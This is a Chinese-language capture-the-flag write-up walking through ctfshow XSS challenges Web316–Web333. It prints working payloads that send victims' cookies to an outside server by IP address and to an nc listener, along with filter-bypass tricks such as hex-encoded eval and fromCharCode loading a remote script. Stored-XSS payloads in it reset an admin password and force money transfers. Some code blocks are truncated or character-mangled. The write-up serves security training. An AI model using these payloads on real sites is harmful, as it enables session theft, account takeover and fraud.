Web316
接下来开启XSS的时代!其实我老早就想玩XSS了,只是我觉得基础没打牢还不行
题目页面如上,意思就是点了生成链接后,这个靶场后台有个机器人,会自动点进这个链接,达到XSS的目的,第一次讲,就来讲的很全面!
语法基础
我们学XSS肯定是需要一点js和DOM基础的(虽然我是零基础,但是慢慢学吧QWQ),dom就是document,是html的语法
参考:https://blog.csdn.net/zyhlwzy/article/details/7366814
https://www.yisu.com/zixun/143876.html
document.cookie=
:设置或者是获取cookie,假如你=后面赋值了那就是设置,没有那就是获取cookie的值:document.location.href="":
这是转发语句,打开这个网址之后就会跳转到另一个网址
假如:
1 |
|
我们打开我们的html文件后,就自动跳转到这个页面,这叫做转发:
- linux中的nc指令:https://www.runoob.com/linux/linux-comm-nc.html
- -g<网关> 设置路由器跃程通信网关,最多可设置8个。
- -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
- -h 在线帮助。
- -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
- -l 使用监听模式,管控传入的资料。
- -n 直接使用IP地址,而不通过域名服务器。
- -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
- -p<通信端口> 设置本地主机使用的通信端口。
- -r 乱数指定本地与远端主机的通信端口。
- -s<来源位址> 设置本地主机送出数据包的IP地址。
- -u 使用UDP传输协议。
- -v 显示指令执行过程。
- -w<超时秒数> 设置等待连线的时间。
- -z 使用0输入/输出模式,只在扫描通信端口时使用
我们常用的nc指令就是nc -lvnp 端口
,如nc -lvnp 7777
,就是监听本地的7777端口,当外部机子对本地机子传入了什么文件,传入了什么参数都可以监听
方法一
知道以上基础就好说了
题目的意思是cookie是admin,所以要用靶场的cookie,而不是我们本地的cookie
我们现在远程服务器写一个XSS.PHP:
1 |
|
然后直接payload:
1 | <script>document.location.href='http://43.140.251.169/XSS.php?1='+document.cookie</script> |
+是js里的连接符,这样就把cookie带出来了,我们在我们远程服务器目录下可以看到flag.txt:
是不是很通俗易懂呢?
方法二
我们可以用nc指令去监听,payload在下面选一个就好了:
1 | <script>document.location.href='http://xxx:7777/'+document.cookie</script> |
我们用第一个,下面几条的语句我们接下来题目慢慢去发现,payload:
1 | <script>document.location.href='http://43.140.251.169:7777/'+document.cookie</script> |
虽然每次监听只能监听一个,但是我们能nc多次:
我们用的是腾讯云服务器,端口开发在这!反正我这台机子也没啥,我也不打码了QWQ,7777就是我设置的用来监听的端口
然后我们 nc -lvnp 7777
:
flag成功被带出来拉!(这里要重复nc哦,因为我们自己本身也点了,不可以X自己)
Web317
页面没改变,但是经过测试发现过滤了script
换一种标签就可以了,这下面选一个即可
1 | <body onload="window.open('http://xxx:7777/'+document.cookie)"></body> |
来讲一下这些标签的意思:
<iframe>
:https://wangdoc.com/html/iframe.html标签用于在网页里面嵌入其他网页
1 | <iframe src="https://www.example.com" |
上面的代码在当前网页嵌入https://www.example.com
,显示区域的宽度是100%
,高度是500
像素。如果当前浏览器不支持<iframe>
,则会显示一个链接,让用户点击。
Onload
:https://www.runoob.com/jsref/event-onload.html
Window
:https://www.runoob.com/js/js-window.html
这里不用window,直接把onload后面的东西改为documen.location.href也可以
Window.open
:https://www.runoob.com/jsref/met-win-open.html
onfocus
,autofocus
:https://www.runoob.com/tags/ev-onfocus.html
https://www.runoob.com/tags/att-input-autofocus.html
onfocus是input标签里的一个属性,表示当获取焦点时运行JavaScript脚本
autofocus也是input里的一个标签,和onfocus一般一起用,表示自动获取焦点,打个比方,假如有一个输入框,你点击后输入框就会变色,假如加了autofocus你不用点击输入框他就会自动变色
接下来可以在payload跳转到我们自己的VPS,也可以让它访问7777端口再监听
<body onload="document.location.href='http://43.140.251.169/XSS.php?1='+document.cookie"></body>
or
<body onload="window.open('http://43.140.251.169/XSS.php?1='+document.cookie)"></body>
解决~
Web318
和上一题没啥区别,网上说ban了img,有啥问题吗,payload还是一样的
Web319
同上,不知道过滤了什么
Web320
经过测试发现ban掉了空格,可以用%0c
,%09,/**/
注释符或者/
去绕过
<body/**/onload="document.location.href='http://43.140.251.169/XSS.php?1='+document.cookie"></body>
%0c和%09不能直接在输入框打出,要在hackbar中url解码然后再复制过去
Web321
一开始没反应过来ban了什么,结果是ban了XSS这个字符串,没啥用
payload同上
<body/**/onload="document.location.href='http://43.140.251.169/X.php?1='+document.cookie"></body>
Web323-Web326
增加了什么过滤我不知道,我只知道上一题的payload还是可以X出来
绕过总结
过滤空格
- /**/ :注释符绕过
- %09,%0c: tab和换页符绕过
- /:直接一个斜杠绕过
过滤某些特殊字符
document.write(String.fromCharCode(ascii码))
:https://developer.mozilla.org/zh-CN/docs/Web/API/Document/write
首先document.write将一个文本字符串写入一个由 document.open()
打开的文档流(document stream)。
示例:
1 | <html> |
String.fromCharCode():
用形如:
1 | <body/οnlοad=“document.write(String.fromCharCode(32));document.write(String.fromCharCode(60));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(114));document.write(String.fromCharCode(73));document.write(String.fromCharCode(112));document.write(String.fromCharCode(116));document.write(String.fromCharCode(32));document.write(String.fromCharCode(115));document.write(String.fromCharCode(114));document.write(String.fromCharCode(67));document.write(String.fromCharCode(61));document.write(String.fromCharCode(47));document.write(String.fromCharCode(47));document.write(String.fromCharCode(120));document.write(String.fromCharCode(115));document.write(String.fromCharCode(46));document.write(String.fromCharCode(115));document.write(String.fromCharCode(98));document.write(String.fromCharCode(47));document.write(String.fromCharCode(89));document.write(String.fromCharCode(84));document.write(String.fromCharCode(85));document.write(String.fromCharCode(104));document.write(String.fromCharCode(62));document.write(String.fromCharCode(60));document.write(String.fromCharCode(47));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(82));document.write(String.fromCharCode(105));document.write(String.fromCharCode(112));document.write(String.fromCharCode(84));document.write(String.fromCharCode(62));” |
这样的写法去写入即可
过滤了.
eval()
:js中的eval函数会将传入的字符串当做 JavaScript 代码进行执行。
然后eval会识别16进制的字符串,用形如下面这样的例子去绕过:
1 | <body/οnlοad=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x31\x35\x2c\x36\x37\x2c\x31\x31\x34\x2c\x37\x33\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x33\x32\x2c\x31\x31\x35\x2c\x31\x31\x34\x2c\x36\x37\x2c\x36\x31\x2c\x34\x37\x2c\x34\x37\x2c\x31\x32\x30\x2c\x31\x31\x35\x2c\x34\x36\x2c\x31\x31\x35\x2c\x39\x38\x2c\x34\x37\x2c\x38\x39\x2c\x38\x34\x2c\x38\x35\x2c\x31\x30\x34\x2c\x36\x32\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x36\x37\x2c\x38\x32\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x38\x34\x2c\x36\x32\x29\x29\x3b")> |
上面的十六进制字符串可以用下列脚本来生成:
1 | a= "<sCrIpt srC=//xs.sb/YTUh></sCRipT>" |
Web327(储存型XSS)
payload和最开始一题的是一样的啊,这题没有得到很好的体现
这边是要我们给admin发一封邮件,所以收件人是admin,然后信的内容就是我们的代码了,储存箱XSS和反射性XSS的差别就是持久性,储存箱XSS只要你注入了,每次访问都会返回信息,这一题payload虽然一样但是是通过邮件的方式储存在了那里
Web328
先上payload:
1 | <script>document.location.href='http://43.140.251.169/X.php?1='+document.cookie</script> |
这一题也是储存型XSS:
有用户注册和用户管理界面,用户管理界面,管理员端肯定能看到我们的信息,所以我们输入的用户名和密码就是XSS注入点了,我们把上面的payload当成用户名注册一下,然后在我们的后台就可以看到管理员的cookie:
把这个cookie给自己的浏览器装上,再访问用户管理界面就会自动跳转:
我们看不到后台数据,因为访问的一瞬间就跳转过去了,所以我们需要抓包来看:
一个个放包后就看见了flag
Web329
和上一题一样,也是这个注册界面,但是用上一题的方法拿到cookie后会发现,你并不能以管理员身份登入,那我们就换种方式就好了,我们拿不到cookie就拿想要的内容,payload如下:
1 | <script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1) |
这段js的意思就是从当前界面找到有ctfshow{的字段
Web330
用上一题的payload不行,应该管理员所在界面并没有flag,这一题多了一个修改密码选项,说明我们可以用XSS修改管理员密码,先抓包:
这是修改密码的抓包界面,地址是URL/api/change.php参数是p,我们制作payload:
1 | <script>document.location.href='http://127.0.0.1/api/change.php?p=123'</script> |
管理员搭建的靶场,本地肯定是127.0.0.1然后再登入管理员账号,密码是123,这样就拿到flag了,机会只有一次,假如之前输入了上一题的答案就会被污染
这边可能是靶机有延迟吧,进去后手速要快,之后就会跳转了
Web331
这题修改密码的方式改为了post,我们用jquery中的ajax,不会写直接抄了QWQ
1 | <script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script> |
输入完后也是可以修改管理员密码,上一题的页面也是这样
Web332
这题就是一个逻辑漏洞了,首先我可以给自己赚钱,并且自己的钱不会减少只会增加:(一开始是5元)
我给自己赚钱-10000我就可以得到10000,这其实也不算啥xss了
——————-warning———————–
以上的方法已经被修复了!这一题我们使用预期解
首先我们抓一下转账的包:
可以发现接口是/api/amount.php,利用这个让管理员给我们转账10000元
构造payload:
1 | <script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'boogipop',a:10000}});</script> |
其实或者,用burp直接爆破1w次貌似也可以
Web333(XSS结束)
和上一题思路差不多,也是转账
和上一题一样,让管理员给我们转账就好了,payload同上
或者这次我们写个python脚本:
1 | #Author:@Boogipop |
怒刷金币
就告一段落啦大家SSTI再见~
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.